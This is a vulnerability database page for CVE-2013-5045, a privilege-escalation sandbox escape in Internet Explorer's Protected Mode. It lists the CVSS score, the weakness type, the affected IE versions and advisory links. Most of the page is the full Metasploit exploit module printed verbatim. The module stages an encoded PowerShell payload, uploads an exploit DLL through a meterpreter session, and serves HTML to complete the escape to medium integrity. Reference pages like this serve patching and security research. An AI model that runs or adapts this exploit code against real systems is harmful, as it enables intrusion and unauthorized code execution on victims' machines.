CVE-2013-5045
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CVE Descriptions
Microsoft Internet Explorer 10 and 11 allows local users to bypass the Protected Mode protection mechanism, and consequently gain privileges, by leveraging the ability to execute sandboxed code, aka "Internet Explorer Elevation of Privilege Vulnerability."
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 6.2 | AV:L/AC:H/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33893
Publication date : 2014-06-26 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
'Description' => %q{
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
component, which can be abused to force medium integrity IE to user influenced keys.
By using registry symlinks it's possible force IE to add a policy entry in the registry
and finally bypass Enhanced Protected Mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # Vulnerability Discovery and original exploit code
'juan vazquez' # metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'IE 8 - 11', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Dec 10 2013",
'References' =>
[
['CVE', '2013-5045'],
['MSB', 'MS13-097'],
['BID', '64115'],
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
]
))
register_options(
[
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
])
end
def exploit
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
if mod_handle['return'] == 0
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
end
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
end
begin
Timeout.timeout(datastore['DELAY']) { super }
rescue Timeout::Error
end
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
end
def primer
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
temp = get_env('TEMP')
print_status("Loading Exploit Library...")
session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end
def on_request_uri(cli, request)
if request.uri =~ /\.html$/
print_status("Sending window close html...")
close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
eos
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
else
send_not_found(cli)
end
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 10
- Microsoft>>Internet_explorer >> Version 10 (Open CPE detail)
Microsoft>>Internet_explorer >> Version 11
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 11 (Open CPE detail)
References
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-097
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
http://packetstormsecurity.com/files/127245/MS13-097-Registry-Symlink-IE-Sandbox-Escape.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
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